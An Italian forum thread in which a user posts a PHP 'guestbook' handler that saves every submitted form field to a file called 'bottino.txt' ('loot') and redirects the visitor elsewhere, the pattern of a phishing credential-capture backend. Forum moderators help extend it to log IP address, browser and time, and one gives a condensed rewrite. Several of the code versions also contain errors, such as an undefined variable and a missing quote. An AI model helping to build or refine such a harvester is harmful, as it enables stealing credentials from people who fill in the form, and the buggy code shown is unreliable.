Post.php di un piccolo guestbook. Vorrei aggiungere alcune c

Linguaggi di programmazione: php, perl, python, C, bash e tutti gli altri.
Scrivi risposta
domymitico99
Prode Principiante
Messaggi: 5
Iscrizione: mercoledì 4 febbraio 2015, 15:39
Distribuzione: Ubuntu
Sesso: Maschile

Post.php di un piccolo guestbook. Vorrei aggiungere alcune c

Messaggio da domymitico99 »

Codice: Seleziona tutto

<?php

/*****************************
Autore : Elle4316
Script : Guestbook 2,3
*****************************/

header ('Location:http://fred.altervista.org/commentofine.php');
$handle = fopen("bottino.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 
Vorrei che nel file bottino.txt mi si compaiono anche l ip , il browser , la data e ora e il sistema operativo in uso.
Cosa dovrei aggiungere a questo semplice script ? quale codice?
Ultima modifica di domymitico99 il mercoledì 3 giugno 2015, 20:43, modificato 1 volta in totale.
Avatar utente
jackynet92
Moderatore Globale
Moderatore Globale
Messaggi: 13413
Iscrizione: sabato 3 settembre 2011, 1:41
Desktop: Mate
Distribuzione: Ubuntu 16.04 64bit
Sesso: Maschile
Località: Torino

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da jackynet92 »

Per postare correttamente i risultati del terminale e/o listati sul forum basta:
  • 1. selezionare il testo del terminale
    2. tasto destro copia (in alternativa premere Ctrl + maiusc + C)
    3. incollare sul forum negli appropriati code, ovvero selezionare il testo e cliccare su Codice

Codice: Seleziona tutto

[color=#FF0000] qui inserisci il testo [/color][ /code]

[code]in modo da ottenere qualcosa di simile
Provvedi a correggere il post, basta cliccare su modifica e seguire la procedura che ti ho spiegato.
domymitico99
Prode Principiante
Messaggi: 5
Iscrizione: mercoledì 4 febbraio 2015, 15:39
Distribuzione: Ubuntu
Sesso: Maschile

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da domymitico99 »

jackynet92 [url=http://forum.ubuntu-it.org/viewtopic.php?p=4765245#p4765245][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:Per postare correttamente i risultati del terminale e/o listati sul forum basta:
  • 1. selezionare il testo del terminale
    2. tasto destro copia (in alternativa premere Ctrl + maiusc + C)
    3. incollare sul forum negli appropriati code, ovvero selezionare il testo e cliccare su Codice

Codice: Seleziona tutto

[color=#FF0000] qui inserisci il testo [/color][ /code]

[code]in modo da ottenere qualcosa di simile
Provvedi a correggere il post, basta cliccare su modifica e seguire la procedura che ti ho spiegato.
Saresti in grado ad aiutarmi ?
Avatar utente
jackynet92
Moderatore Globale
Moderatore Globale
Messaggi: 13413
Iscrizione: sabato 3 settembre 2011, 1:41
Desktop: Mate
Distribuzione: Ubuntu 16.04 64bit
Sesso: Maschile
Località: Torino

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da jackynet92 »

No mi spiace, sposto in programmazione.
Avatar utente
Zoff
Moderatore Globale
Moderatore Globale
Messaggi: 33338
Iscrizione: mercoledì 10 ottobre 2007, 22:36

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da Zoff »

L'IP lo trovi in $_SERVER['REMOTE_ADDR'], il browser in $_SERVER['HTTP_USER_AGENT'], il sistema operativo lo devi indovinare dalla stringa del browser.
La data e ora le prendi con la funzione date()
Prima di aprire una discussione leggi le Guide, poi vedi se c'è un HowTo nel Wiki e fai una ricerca nel Forum!
Applica semplicemente il [Risolto]! Prova: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=548821
Vuoi qualcosa di piu' dal forum? Prova i miei script: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=597066
domymitico99
Prode Principiante
Messaggi: 5
Iscrizione: mercoledì 4 febbraio 2015, 15:39
Distribuzione: Ubuntu
Sesso: Maschile

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da domymitico99 »

Zoff [url=http://forum.ubuntu-it.org/viewtopic.php?p=4765254#p4765254][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:L'IP lo trovi in $_SERVER['REMOTE_ADDR'], il browser in $_SERVER['HTTP_USER_AGENT'], il sistema operativo lo devi indovinare dalla stringa del browser.
La data e ora le prendi con la funzione date()
Dovrei dovrei aggiungerle queste stringhe ?
Avatar utente
Zoff
Moderatore Globale
Moderatore Globale
Messaggi: 33338
Iscrizione: mercoledì 10 ottobre 2007, 22:36

Re: Post.php di un piccolo guestbook. Vorrei aggiungere alcu

Messaggio da Zoff »

Le concateni in una stringa che scrivi nel file con fwrite().
Prima di aprire una discussione leggi le Guide, poi vedi se c'è un HowTo nel Wiki e fai una ricerca nel Forum!
Applica semplicemente il [Risolto]! Prova: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=548821
Vuoi qualcosa di piu' dal forum? Prova i miei script: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=597066
domymitico99
Prode Principiante
Messaggi: 5
Iscrizione: mercoledì 4 febbraio 2015, 15:39
Distribuzione: Ubuntu
Sesso: Maschile

guestbook php perchè non funziona dove sbaglio?

Messaggio da domymitico99 »

Codice: Seleziona tutto

<?php

/*****************************
Autore : 
Script : guestbook 2,1 markus

*****************************/

header ('Location:http://google.com);
$handle = fopen("botto.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, $_SERVER['REMOTE_ADDR'],$_SERVER['HTTP_USER_AGENT'],date())
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 
Avatar utente
eaghezzi
Scoppiettante Seguace
Scoppiettante Seguace
Messaggi: 725
Iscrizione: martedì 21 luglio 2009, 10:27
Desktop: Lubuntu
Distribuzione: Ubuntu 14.04.1 LTS i686
Sesso: Maschile
Località: Valleambrosia

Re: guestbook php perchè non funziona dove sbaglio?

Messaggio da eaghezzi »

qual'è il problema ?
Avatar utente
Zoff
Moderatore Globale
Moderatore Globale
Messaggi: 33338
Iscrizione: mercoledì 10 ottobre 2007, 22:36

Re: guestbook php perchè non funziona dove sbaglio?

Messaggio da Zoff »

Beh il redirect la in alto di sicuro non aiuta.

Considera che quello script è equivalente a questo:

Codice: Seleziona tutto

<?php

foreach($_POST as $variable => $valore) {
	$text = sprintf("%s %s %s: %s = %s".PHP_EOL, date(),$_SERVER['REMOTE_ADDR'],$_SERVER['HTTP_USER_AGENT'], $variabile, $valore);
    file_put_contents("botto.txt",$text,FILE_APPEND);
}

header ('Location:http://google.com');
exit;
Ma senza un form che gli invia i dati è inutile, tanto piu' se fai il redirect verso google.

Nello specifico comunque l'errore dello script è che manca l'apice di chiusura della stringa nella funzione header().


Visto che il problema è sempre lo stesso unisco questa discussione a quella precedente.
Prima di aprire una discussione leggi le Guide, poi vedi se c'è un HowTo nel Wiki e fai una ricerca nel Forum!
Applica semplicemente il [Risolto]! Prova: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=548821
Vuoi qualcosa di piu' dal forum? Prova i miei script: http://forum.ubuntu-it.org/viewtopic.php?f=70&t=597066
Scrivi risposta

Ritorna a “Programmazione”

Chi c’è in linea

Visualizzano questa sezione: 0 utenti iscritti e 6 ospiti